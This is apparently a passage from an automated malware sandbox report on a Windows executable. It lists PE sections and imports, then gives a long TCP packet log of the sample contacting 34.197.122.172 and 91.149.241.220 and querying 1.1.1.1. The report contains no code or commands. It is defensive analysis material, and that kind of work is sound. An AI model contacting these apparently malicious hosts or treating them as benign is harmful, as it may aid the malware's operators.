                                sikkulpd0xcb10000x10000x400abcf6e96be48faf36d35fc9c15193cb7False0.748046875data5.866429533825204IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                .taggant0xcb20000x30000x22000742d5f77b5d3ddc54f349a5f02e02cfFalse0.0744485294117647DOS executable (COM)0.7679228644337672IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

                                Resources

                                NameRVASizeTypeLanguageCountryZLIB Complexity
                                RT_MANIFEST0xcb0b6c0x256ASCII text, with CRLF line terminators0.5100334448160535

                                Imports

                                DLLImport
                                kernel32.dlllstrcpy

                                Network Behavior

                                Network Port Distribution

                                TCP Packets

                                TimestampSource PortDest PortSource IPDest IP
                                Dec 31, 2024 09:45:23.113459110 CET49705443192.168.2.1034.197.122.172
                                Dec 31, 2024 09:45:23.113492966 CET4434970534.197.122.172192.168.2.10
                                Dec 31, 2024 09:45:23.113614082 CET49705443192.168.2.1034.197.122.172
                                Dec 31, 2024 09:45:23.125128984 CET49705443192.168.2.1034.197.122.172
                                Dec 31, 2024 09:45:23.125142097 CET4434970534.197.122.172192.168.2.10
                                Dec 31, 2024 09:45:23.779037952 CET4434970534.197.122.172192.168.2.10
                                Dec 31, 2024 09:45:23.779680967 CET49705443192.168.2.1034.197.122.172
                                Dec 31, 2024 09:45:23.779700041 CET4434970534.197.122.172192.168.2.10
                                Dec 31, 2024 09:45:23.781167030 CET4434970534.197.122.172192.168.2.10
                                Dec 31, 2024 09:45:23.781275034 CET49705443192.168.2.1034.197.122.172
                                Dec 31, 2024 09:45:23.782557964 CET49705443192.168.2.1034.197.122.172
                                Dec 31, 2024 09:45:23.782622099 CET4434970534.197.122.172192.168.2.10
                                Dec 31, 2024 09:45:23.782778978 CET49705443192.168.2.1034.197.122.172
                                Dec 31, 2024 09:45:23.823349953 CET4434970534.197.122.172192.168.2.10
                                Dec 31, 2024 09:45:23.823865891 CET49705443192.168.2.1034.197.122.172
                                Dec 31, 2024 09:45:23.823879004 CET4434970534.197.122.172192.168.2.10
                                Dec 31, 2024 09:45:23.870776892 CET49705443192.168.2.1034.197.122.172
                                Dec 31, 2024 09:45:24.686173916 CET4434970534.197.122.172192.168.2.10
                                Dec 31, 2024 09:45:24.686249018 CET4434970534.197.122.172192.168.2.10
                                Dec 31, 2024 09:45:24.686305046 CET49705443192.168.2.1034.197.122.172
                                Dec 31, 2024 09:45:24.694983006 CET49705443192.168.2.1034.197.122.172
                                Dec 31, 2024 09:45:24.695003033 CET4434970534.197.122.172192.168.2.10
                                Dec 31, 2024 09:45:26.789884090 CET4970680192.168.2.1091.149.241.220
                                Dec 31, 2024 09:45:26.794835091 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:26.800472975 CET4970680192.168.2.1091.149.241.220
                                Dec 31, 2024 09:45:26.801568031 CET4970680192.168.2.1091.149.241.220
                                Dec 31, 2024 09:45:26.806483030 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:26.806499958 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:26.806519032 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:26.806529045 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:26.806607008 CET4970680192.168.2.1091.149.241.220
                                Dec 31, 2024 09:45:26.806622982 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:26.806632042 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:26.806677103 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:26.806682110 CET4970680192.168.2.1091.149.241.220
                                Dec 31, 2024 09:45:26.806684971 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:26.806713104 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:26.806721926 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:26.806730032 CET4970680192.168.2.1091.149.241.220
                                Dec 31, 2024 09:45:26.806771040 CET4970680192.168.2.1091.149.241.220
                                Dec 31, 2024 09:45:26.811470985 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:26.811510086 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:26.811520100 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:26.811598063 CET4970680192.168.2.1091.149.241.220
                                Dec 31, 2024 09:45:26.811609983 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:26.811629057 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:26.811639071 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:26.811686039 CET4970680192.168.2.1091.149.241.220
                                Dec 31, 2024 09:45:26.855000019 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:26.855261087 CET4970680192.168.2.1091.149.241.220
                                Dec 31, 2024 09:45:26.902924061 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:26.903016090 CET4970680192.168.2.1091.149.241.220
                                Dec 31, 2024 09:45:26.954960108 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:26.955034018 CET4970680192.168.2.1091.149.241.220
                                Dec 31, 2024 09:45:27.002968073 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.004468918 CET4970680192.168.2.1091.149.241.220
                                Dec 31, 2024 09:45:27.054990053 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.056404114 CET4970680192.168.2.1091.149.241.220
                                Dec 31, 2024 09:45:27.102900028 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.102999926 CET4970680192.168.2.1091.149.241.220
                                Dec 31, 2024 09:45:27.151036024 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.151148081 CET4970680192.168.2.1091.149.241.220
                                Dec 31, 2024 09:45:27.202944040 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.203005075 CET4970680192.168.2.1091.149.241.220
                                Dec 31, 2024 09:45:27.251012087 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.251116037 CET4970680192.168.2.1091.149.241.220
                                Dec 31, 2024 09:45:27.264347076 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.264574051 CET4970680192.168.2.1091.149.241.220
                                Dec 31, 2024 09:45:27.269475937 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.269488096 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.269507885 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.269519091 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.269531012 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.269546986 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.269582033 CET4970680192.168.2.1091.149.241.220
                                Dec 31, 2024 09:45:27.269603968 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.269608021 CET4970680192.168.2.1091.149.241.220
                                Dec 31, 2024 09:45:27.269613028 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.269630909 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.269639969 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.269659042 CET4970680192.168.2.1091.149.241.220
                                Dec 31, 2024 09:45:27.269690037 CET4970680192.168.2.1091.149.241.220
                                Dec 31, 2024 09:45:27.269699097 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.269707918 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.269740105 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.269748926 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.269757032 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.269757032 CET4970680192.168.2.1091.149.241.220
                                Dec 31, 2024 09:45:27.269766092 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.269799948 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.269809008 CET4970680192.168.2.1091.149.241.220
                                Dec 31, 2024 09:45:27.269809008 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.269846916 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.269881010 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.269929886 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.269938946 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.270006895 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.270102024 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.270112038 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.270138025 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.270159006 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.270185947 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.270226955 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.270266056 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.270281076 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.270308018 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.270431042 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.270442009 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.271785975 CET4970680192.168.2.1091.149.241.220
                                Dec 31, 2024 09:45:27.271857977 CET4970680192.168.2.1091.149.241.220
                                Dec 31, 2024 09:45:27.274442911 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.274499893 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.274571896 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.274682999 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.274744987 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.274823904 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.274833918 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.275116920 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.275154114 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.275214911 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.275223970 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.275233984 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.275244951 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.275389910 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.275399923 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.275409937 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.275418997 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.275429010 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.275437117 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.275445938 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.275463104 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.275471926 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.275480986 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.275825977 CET4970680192.168.2.1091.149.241.220
                                Dec 31, 2024 09:45:27.275872946 CET4970680192.168.2.1091.149.241.220
                                Dec 31, 2024 09:45:27.276715040 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.276725054 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.276803970 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.276849985 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.276921034 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.276931047 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.276941061 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.276949883 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.277003050 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.277013063 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.277024031 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.277065039 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.277074099 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.277090073 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.277100086 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.277123928 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.277136087 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.277151108 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.277160883 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.277216911 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.277226925 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.277236938 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.277261019 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.277271032 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.277280092 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.277357101 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.277365923 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.277441978 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.277451038 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.277504921 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.277513981 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.277553082 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.277561903 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.277650118 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.277658939 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.277741909 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.277750969 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.277875900 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.277885914 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.277895927 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.277909040 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.278017044 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.278026104 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.278105021 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.278114080 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.278141022 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.278150082 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.278172970 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.278183937 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.278199911 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.278211117 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.278337955 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.278347969 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.280846119 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.280854940 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.280859947 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.280864000 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.280942917 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.280952930 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.280962944 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.280972958 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.281001091 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.281016111 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.281033993 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.281043053 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.281074047 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.281119108 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.281161070 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.281217098 CET4970680192.168.2.1091.149.241.220
                                Dec 31, 2024 09:45:27.281255007 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.281260967 CET4970680192.168.2.1091.149.241.220
                                Dec 31, 2024 09:45:27.281265974 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.281308889 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.281317949 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.281373978 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.281383991 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.281611919 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.281621933 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.281677961 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.281694889 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.281774998 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.281785011 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.281821012 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.281830072 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.281868935 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.281877041 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.281961918 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.281970978 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.282012939 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.282023907 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.282042027 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.282052040 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.282068968 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.282078028 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.282125950 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.282135010 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.282157898 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.282166958 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.282211065 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.282250881 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.282300949 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.282310009 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.282337904 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.282346964 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.282394886 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.282403946 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.282454014 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.282464981 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.286216974 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.286227942 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.286416054 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.286437988 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.286457062 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.286467075 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.286485910 CET4970680192.168.2.1091.149.241.220
                                Dec 31, 2024 09:45:27.286578894 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.286588907 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.286676884 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.286689043 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.286791086 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.286803007 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.286833048 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.286843061 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.286978960 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.286988974 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.287168980 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.287178993 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.287189007 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.287199020 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.287209034 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.287216902 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.287225962 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.287235022 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.287251949 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.287261009 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.287276983 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.287286043 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.287401915 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.287412882 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.287421942 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.287431002 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.287439108 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.287447929 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.287466049 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.287476063 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.287483931 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.287492990 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.287511110 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.287519932 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.287539959 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.287549019 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.287653923 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.287662983 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.287672997 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.287683010 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.287700891 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.287708998 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.287750006 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.287760019 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.287800074 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.287810087 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.287827015 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.291374922 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.291387081 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.291431904 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.291441917 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.291533947 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.291543007 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.291585922 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.291594982 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.291711092 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.291721106 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.291757107 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.291765928 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.291842937 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.291851997 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.291930914 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.291940928 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.291949034 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.291960955 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.291979074 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.291989088 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.292007923 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.292016983 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.292056084 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.292067051 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.292085886 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.292097092 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.292232037 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.292241096 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.292249918 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.292258978 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.292268038 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.292275906 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.292293072 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.292301893 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.292311907 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.292320967 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.292355061 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.292362928 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.292380095 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:27.292390108 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:30.049329042 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:30.049490929 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:30.049549103 CET4970680192.168.2.1091.149.241.220
                                Dec 31, 2024 09:45:30.049798012 CET4970680192.168.2.1091.149.241.220
                                Dec 31, 2024 09:45:30.054636002 CET804970691.149.241.220192.168.2.10
                                Dec 31, 2024 09:45:30.135761023 CET4970753192.168.2.101.1.1.1
                                Dec 31, 2024 09:45:30.140561104 CET53497071.1.1.1192.168.2.10
                                Dec 31, 2024 09:45:30.140626907 CET4970753192.168.2.101.1.1.1
                                Dec 31, 2024 09:45:30.140806913 CET4970753192.168.2.101.1.1.1
                                Dec 31, 2024 09:45:30.145600080 CET53497071.1.1.1192.168.2.10
                                Dec 31, 2024 09:45:30.843120098 CET53497071.1.1.1192.168.2.10
                                Dec 31, 2024 09:45:30.843703985 CET4970753192.168.2.101.1.1.1
                                Dec 31, 2024 09:45:30.844070911 CET4970880192.168.2.1091.149.241.220
                                Dec 31, 2024 09:45:30.848798037 CET53497071.1.1.1192.168.2.10
                                Dec 31, 2024 09:45:30.848858118 CET4970753192.168.2.101.1.1.1
                                Dec 31, 2024 09:45:30.848892927 CET804970891.149.241.220192.168.2.10
